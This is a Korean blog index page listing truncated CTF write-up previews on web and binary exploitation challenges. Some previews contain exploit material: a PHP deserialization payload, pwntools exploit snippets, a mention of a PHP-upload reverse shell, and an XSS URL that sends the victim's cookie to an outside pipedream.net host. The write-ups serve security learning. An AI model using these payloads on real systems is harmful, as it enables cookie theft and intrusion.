🚩CTF
WACon2023 CTF Write up
WACon2023 CTF Write up
2023.09.03주변에 아는 사람들이랑 총 4명이서 WACon2023 CTF에 참가했습니다. 결과는 15등으로 마무리 했네요. 1. [web] mosaic 문제 코드는 다음과 같습니다. 이 문제의 컨셉은 이미지 업로드 관련 기능을 제공합니다. from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory import mimetypes import requests import imageio import os import sqlite3 import hashlib import re from shutil import copyfile, rmtree import numpy as np app = Flask(__na..
hacktm ctf 2023 writeup
hacktm ctf 2023 writeup
2023.02.211. [web] Blog cookie 값을 `unserialize()` 하고 있다. 이를 활용하여 취약한 클레스를 찾다 보니, `Profile` 클래스가 눈에 들어왔다. `file_get_contents()` 함수가 `$this->picture_path` 맴버 변수 값을 통해 파일을 읽으려고 한다. 즉, `Profile` 클래스의 `picture_path` 맴버 변수를 이용하여 flag 값을 읽으면 문제를 해결할 수 있다. O:4:"User":2:{s:7:"profile";O:7:"Profile":2:{s:8:"username";s:8:"universe";s:12:"picture_path";s:46:"/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt";}s:5:"post..
lactf 2023 writeup
lactf 2023 writeup
2023.02.141. [pwn] gatekeep 이 문제는 단순 bof를 통해 다른 변수의 값을 변조시켜 flag를 획득하는 문제이다. `lactf{sCr3am1nG_cRy1Ng_tHr0w1ng_uP}` 2. [pwn] bot 이 문제의 c코드는 다음과 같다. #include #include #include #include int main(void) { setbuf(stdout, NULL); char input[64]; volatile int give_flag = 0; puts("hi, how can i help?"); gets(input); if (strcmp(input, "give me the flag") == 0) { puts("lol no"); } else if (strcmp(input, "please give ..
Dicectf 2023 writeup
Dicectf 2023 writeup
2023.02.08대회 당일날 웹 한문제 밖에 못 풀었지만, 이후 writeup을 보고 정리하고자 한다. 1. recursive-csp 해당 문제는 GET 파라미터로 전달한 값을 그대로 출력하여 XSS 가 가능하다. 하지만, 이 값을 암호화 하여 csp 정책에 들어가게 된다.
DiceCTF 2022 writeup
DiceCTF 2022 writeup
2022.07.250. Intro TeamH4C에 가입하여 처음으로 참가한 CTF 대회 입니다. 저는 웹만 풀었는데,, 다른 분들이 웹 외의 분야도 많이 풀어서 19등으로 마무리 되었네요. 웹 문제는 쉬운 문제를 제외하고, 풀이를 작성하려고 합니다. 1. web / point 이 문제는 golang 으로 작성된 web 문제 입니다. go 언어에 대해 지식이 없지만, 이번 기회를 통해 풀어보려고 했습니다. POST 방식으로 전송하면, body에 특정 문자열이 있는지를 검증하고 있습니다. 아래 코드에서는 2번째 if 문에서 `what_point` 와 `\` 를 필터링 하고 있네요. 이후, `json.Unmarshal()` 함수를 통해 body 값을 json parsing 하고 있습니다. json paring 결과는 `what..
[WACon 2022] yet_another_baby_web
[WACon 2022] yet_another_baby_web
2022.06.28🚪 Intro 웹 2번째 문제 입니다. 이 문제 역시 poc 코드와 힌트를 보고 정보를 찾은 뒤 풀게 되었는데요. 이 문제를 풀기 위해서는 `session upload progress` 에 대해 알고 있어야 합니다. 💡 Analysis - 코드 분석 POST 방식으로 url 데이터를 넘기면 curl 명령어를 실행합니다. 이때 url 값은 여러번의 필터링을 거치게 되죠. curl 실행 후 출력 값에는 본인의 UUID 값이 포함되어 있어야 출력 값을 볼 수 있습니다.
[WACon 2022] ppower write up
[WACon 2022] ppower write up
2022.06.28🚪 Intro 웹 3번째 문제 ppower 입니다. 이 문제는 `prototype pollution` 을 통한 RCE를 하는 문제입니다. 💡 Analysis - 코드 분석 /answer 페이지로 GET 방식의 데이터를 전달할 수 있습니다. 이는 `req.query` 에 저장되여 `merge()` 함수를 통해 `r` 변수에 저장되는데, `merge()` 함수는 어떠한 검증없이 merge 하고 있습니다. 전형적인 prototype pollution 공격에 취약한 코드 입니다. 또한, 53번째 줄에서 `config.flagForEveryone` 값이 무조건 false가 아니어야 합니다. 그래야 `sendFlag()` 함수가 실행되죠. `sendFlag()` 함수를 보면, 25번째 줄에서 `childProces..
[WACon 2022] Kuncɛlan write up
[WACon 2022] Kuncɛlan write up
2022.06.27🚪 Intro 20명이나 푼 웹 첫번째 문제 입니다. 물론 풀다가 포기하고, 대회 끝난 이후 힌트와 친구의 도움으로 해결했습니다. 해당 문제를 풀기 위한 Keyword는 다음과 같습니다. `LFI` `hash length extension attack` `SSRF` `SQLI` 💡 Analysis - 화면 흐름 문제 사이트에 접속하면 로그인 페이지로 이동 됩니다. 로그인 후 "fun" 이라는 페이지로 이동하면 아래 사진처럼 SSRF 느낌이 나는 페이지가 출력됩니다. input 태그에 값을 입력하면, 해당 기능은 로컬에서만 동작하는 것을 알 수 있습니다. 코드가 없는 상태에서 우회하기에는 힘들기 때문에, 다른 방법을 찾아야 합니다. 💡 Exploit - LFI 위 페이지에는 LFI 취약점이 존재합니다. f..
zer0pts ctf 2022 GitFile Explorer write up
zer0pts ctf 2022 GitFile Explorer write up
2022.03.27GitFile Explorer (web) 이번 문제는 `preg_match()` 함수를 우회하여 `file_get_contents()` 함수로 flag를 획득하는 문제이다. 34번째 줄에 `preg_match()` 함수 안에 정규 표현식을 보면, github|gitlab|gitbucket 문자열은 어디에나 존재하면 된다. 즉, `http://askldjfklasd.github.com` 이런 것이 가능하다. 또한, `m` 이라는 옵션이 붙었는데, 이에 대한 설명은 다음과 같다. 즉, 다음과 같이 개행을 포함하여 전송하게 되면 `m` 옵션으로 인해 http 라는 문자열이 2번째 줄에서 시작하여 `preg_match()` 함수의 정규 표현식을 우회할 수 있게 된다. 단, 아래 결과를 보면 `No such fi..
hayyim CTF 2022 writeup
hayyim CTF 2022 writeup
2022.02.13Cyberchef (web) XSS를 통한 Cookie 탈취 문제이다. cyberchef 는 github에 opensource로 공개되어 있는데, issue 에서 XSS payload를 얻을 수 있었다. https://github.com/gchq/CyberChef/issues/1265 http://1.230.253.91:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3D%60https://enej1x0to8q6ktu.m.pipedream.net/?cookie%3D$%7Bdocument.cookie%7D`%3C/script%3E',100,false)&input=MTAwLCAxMDA..
HTML Viewer writeup
HTML Viewer writeup
2022.02.04이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
[UMass 2021 CTF] write up
[UMass 2021 CTF] write up
2021.03.29[WEB - "Hermit - Part 1"] 위 문제 링크에 접속하면 이미지를 업로드 하는 페이지가 나온다. 아래 사진 처럼 이미지를 업로드 하면 png의 hex값과 함께 이미지가 출력된다. 업로드할 이미지 맨 마지막에 간단한 php 코드를 작성한뒤 업로드 하면 php 코드가 동작하는 것을 볼 수 있다. 이를 이용하여 reverse shell 공격을 시도 했다. payload는 다음과 같다.
[DamCTF 2020] write up
[DamCTF 2020] write up
2020.10.12WEB / finger-warmup 문제 사이트에 접속하면 아래 사진 처럼 클릭하는 링크가 나온다. 클릭하면 똑같은 페이지 이지만, 주소 뒤에 랜덤한 값이 따라 붙는다. 문제 힌트에 `requests` 모듈과 `beautifulsoup` 모듈을 사용하라고 되어 있어, `a` 태그를 크롤링해 계속 클릭하면 flag를 획득 할 수 있을 거라고 생각했다. import requests import bs4 import time url = "https://finger-warmup.chals.damctf.xyz/" s = requests.session() res = s.get(url) while True: html = bs4.BeautifulSoup(res.text, "html.parser") href = html...
[b01lers 2020 CTF] write up
[b01lers 2020 CTF] write up
2020.10.07There is no Spoon keyword: `Heap overflow` #include #include #include #include char * xor(char * src, char * dest, int len) { for(int i = 0; i < len - 1; i++) { dest[i] = src[i] ^ dest[i]; } dest[len-1] = 0; return dest; } int main() { setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); char buffer[256]; int len = 256; printf("Neo, enter your matrix: "); len = read(0, buffer, len); char * buffer..
[DreamhackCTF 2020] validator write up
[DreamhackCTF 2020] validator write up
2020.09.29pwnable 분야의 validator 문제이다. 해당 문제는 바이너리만 주워줬고, 바이너리 파일을 c 나타내면 다음과 같다. void validate(void *input_data, int arg2){ for (int i = 0; i
[DreamhackCTF 2020] Mango write up
[DreamhackCTF 2020] Mango write up
2020.09.29web 분야의 Mango 문제이다. 해당 문제는 코드가 주워줬고, `mongodb injection` 으로 admin 의 pw를 알아내는 문제이다. const express = require('express'); const app = express(); const mongoose = require('mongoose'); mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true }); const db = mongoose.connection; // flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} const BAN = ['admin', '..
[DarkCTF 2020] web write up
[DarkCTF 2020] web write up
2020.09.271. Source php의 `auto type casting` 문제 인거 같다.
[DarkCTF 2020] newPaX write up
[DarkCTF 2020] newPaX write up
2020.09.27pwnable 분야의 두번째 문제 newPaX 이다. Checksec Analyze 이번 바이너리에는 `main()` 과 `vuln()` 이렇게 2개가 있는데, `main()` 함수에는 별거 없고 `vuln()` 함수에서 `BOF` 공격이 가능하다. 이전 문제와 다른점은 `32bit` 라는 점이다. `32bit rop` 공격은 `64bit` 와 다르기 때문에, 아래 코드 처럼 `stack` 에 데이터를 overwrite 했다. 필자는 `read()` 함수의 `GOT`를 leak 했고, libc database 사이트에서 라이브러리를 다운 받아 `libc_base` 를 구했다. from pwn import * p = remote("newpax.darkarmy.xyz", "5001") e = ELF("./n..
[DarkCTF 2020] rop write up
[DarkCTF 2020] rop write up
2020.09.27pwnable 분야의 첫번째 문제 roprop 이다. (write up을 작성하는 시점에서 서버가 닫혀있어 설명하는데 지장이...) Checksec ubuntu:~/environment/ctf/DarkCTF/pwn/01_rop $ checksec roprop [*] '/home/ubuntu/environment/ctf/DarkCTF/pwn/01_rop/roprop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Analyze 바이러니는 `main` 함수만 정의 되어 있다. `gets()` 함수에서 `BOF` 공격이 가능한 것을 볼 수 있다. 우선 `libc addre..
[Google CTF 2020] log-me-in write up
[Google CTF 2020] log-me-in write up
2020.08.27google ctf web 문제의 log me in 이다. 해당 문제 write up은 다른 사람의 롸업을 보고 작성한 것이다. 문제 페이지에 접속하면 아래와 같은 페이지가 나온다. 이번 문제는 코드를 올려 줬는데, 문제의 코드는 아래와 같다. /** * @fileoverview Description of this file. */ const mysql = require('mysql'); const express = require('express'); const cookieSession = require('cookie-session'); const cookieParser = require('cookie-parser'); const bodyParser = require('body-parser'); const..
[Google CTF 2020] pasteurize write up
[Google CTF 2020] pasteurize write up
2020.08.27Google CTF 2020 문제중 web 문제 `pasteurize` 이다. 해당 write up은 외국인의 풀이를 바탕으로 작성되었다. 문제 사이트에 접속하면 입력과 제출을 할 수 있는 기능이 있다. 개발자 모드로 보면 `/source` 링크가 있는데 해당 링크로 들어가면 `nodejs`로 코딩된 코드를 볼 수 있다. 아래는 문제의 코드이다. const express = require('express'); const bodyParser = require('body-parser'); const utils = require('./utils'); const Recaptcha = require('express-recaptcha').RecaptchaV3; const uuidv4 = require('uuid')..
[pwnable.xyz] door write up
[pwnable.xyz] door write up
2020.08.10Analytic 이번 문제는 `main()` 함수와 `win()` 함수 2개만 있다. `main()` 함수를 보면 사용자가 입력한 값을 write 하는 것만 있다. int main(){ setup() puts("Door To Other RealmS") int32_t var_14 = 0 int32_t var_10 = 0 *door = rand():0.d while (true) print_menu() uint64_t rax_2 = zx.q(read_int32():0.d) if (rax_2:0.d != 2) if (rax_2:0.d s> 2) if (rax_2:0.d != 3) if (rax_2:0.d == 4) return 0 // rax_2 == 3 else if (*door == 0) continue e..
[pwnable.xyz] child write up
[pwnable.xyz] child write up
2020.08.09Analytic checksec으로 검사 해보니 처음보는 것이 있는데 `fortify: enabled` 이다. 이건 처음봐서 뭔지 모르겠다... 문제 푸는데는 지장 없는듯..? `create_child()` 함수를 보면 18세 이하만 조건을 통과 할 수 있는데, 조건을 통과하면 `child`의 구조체가 만들어진다. void create_child(){ __printf_chk(1, "Age: ") int64_t rax_1 = read_int32() uint64_t rax_7 if (rax_1:0.d u> 0x12) rax_7 = puts("Not a child.") else void* rax_2 = malloc(0x20) *(rax_2 + 0x18) = sx.q(rax_1:0.d) *(rax_2 + 8) ..
[pwnable.xyz] car shop write up
[pwnable.xyz] car shop write up
2020.08.09Analytic `Full RELRO` 이기 때문에 GOT overwrite를 할 수 없다. `buy()` 함수를 보면 사용자가 선택한 자동차가 메모리 공간에 저장된다. 이때의 메모리 구조를 보면 아래와 같다. `0x603260` ~ `0x6032af`: 사용자가 `buy()` 함수를 호출하면 `car`라는 구조체의 chunk가 만들어짐 `0x603260`: 자동차 이름을 저장한 주소 `0x603268`: 자동차 이름의 크기 `0x603270`: 다음 청크(`car`)의 주소 `0x603278`: 이전 청크(`car`)의 주소 `0x603290`: 자동차의 이름 gdb-peda$ x/10gx 0x603260 0x603260: 0x0000000000603290 0x0000000000000003 0x6032..
[pwnable.xyz] words write up
[pwnable.xyz] words write up
2020.08.08Analytic 아래 사진은 사용자 정의 함수 목록이다. fill_letters(), fill_numbers(), fill_handles(), fill_words() 함수들은 특별한 기능은 없고 사용자 선택에 따라 문장을 만들어 출력하는 함수 이다. 하지만 fill_handles() 함수를 제외한 나머지 함수들은 만들어진 문장으로 초기화 하여 생성하지만, fill_handles() 함수는 로직 에러로 초기화를 하지 않고 문장을 추가한다. 코드로 자세히 설명하자면, 사용자가 select1 값이 2가 아니고 select2 값이 6이상이면 문장을 초기화 하지 않는다. 이 로직 에러로 문장을 계속 추가 할 수 있게 된다. 문장이 저장되는 메모리 공간은 아래와 같다. 문장이 저장되는 시작 부분은 변수 a인 0x6..
[pwnable.xyz] notebook write up
[pwnable.xyz] notebook write up
2020.08.07바이너리 파일을 분석하여 c로 나타내면 아래와 같다. void make_note(){ printf("size: "); int size = read_int(); void* addr = malloc(0x38); *(addr + 0x30) = malloc(size); *(addr + 0x8) = size; *addr = &get_size(); printf("Title: "); readline(addr + 0xc, 0x1f, 0xa); printf("Note: ") readline(*(addr + 0x30), size, 0xa); *data_602300 = addr; } void edit_note(){ int addr = *data_602300; if(addr != 0){ addr = *(*data_602300..
[pwnable.xyz] nin write up
[pwnable.xyz] nin write up
2020.08.07이번 문제는 UAF 관련 문제이다. 해당 바이너리에는 아래와 같은 보안 장치가 설정되어 있다. 바이너리를 c코드로 변환하면 아래와 같다. void hash_gift(arg1, arg2){ int result1 = 0; int result2 = 0; int count = 0; while(true){ if(count >= int(arg2/2)) break; result1 = result1 + *(arg1 + count); count++; } for(int i = int(arg2)/2; i 0x2; eax = eax >> 0x1f; edx = edx - eax; eax = edx; eax = eax 사용자가 입력한 값 (크기: 사용자가 입력한 길이에 따라 다름) 0x603280 ==> invite_reznor..
[pwnable.xyz] note v2 write up
[pwnable.xyz] note v2 write up
2020.08.05해당 바이너리에는 아래와 같은 보안 기법이 적용되어 있다. 또한 아래 사진처럼 여러개의 사용자 정의 함수들의 존재하는 것을 볼 수 있다. 사용자 정의 함수들 중 아래 make_note() 함수를 보자. 기본적으로 0x28 만큼 공간을 할당하고, 사용자로 부터 크기를 입력받아 공간을 할당한다. 만약 *(addr + 0x20) 에 값이 들어가 있으면 공간을 할당 하지 않는다. void make_note(){ if(count
InCTF2020 - coins write up
InCTF2020 - coins write up
2020.08.02MISC 분야의 문제이다. nc로 접속하면 아래와 같이 문제가 출력이 된다. 문제만 봐도 한눈에 이해가 간다. python으로 4자리를 찾는 코드를 작성하면 아래와 같다. string 패키지로 문자열을 나열한 다음 for문 4개를 이용해 알맞은 4자리 값을 찾은 후 sendline() 함수로 값을 보낸다. from pwn import * import string import hashlib context.log_level = "debug" p = remote("34.74.30.191", "1337") line = p.recvline().replace("\n", "") line = line.split(" ") length = len(line[0][line[0].find("(")+1 : line[0].find..
[TSG 2020 CTF] beginner's pwn write up
[TSG 2020 CTF] beginner's pwn write up
2020.07.14몇일간 이 문제 푼다고 고민하고 롸업 보면서 내걸로 만들려고 했지만.. 어려웠다. 덕분에 새로운 접근법을 알게 되었다. Attack tech FSP Buffer Overflow GOT Overwrite ROP Return to csu Analyze 이 문제는 총 2개의 함수가 존재하는데, main() readn() 이렇게 2개가 존재한다. main() 함수에서 readn() 함수로 입력을 받고, scanf() 함수로 한번더 입력을 받는데 여기서 FSB 공격이 가능하다. 또한 buffer overflow도 canary 우회만 된다면 가능하다. readn() 함수는 syscall() 을 이용하여 read() 함수를 호출한다. 이때 사용자가 입력한 마지막 값이 0xa 이면 rax에 그 주소를 저장하고 해당 값..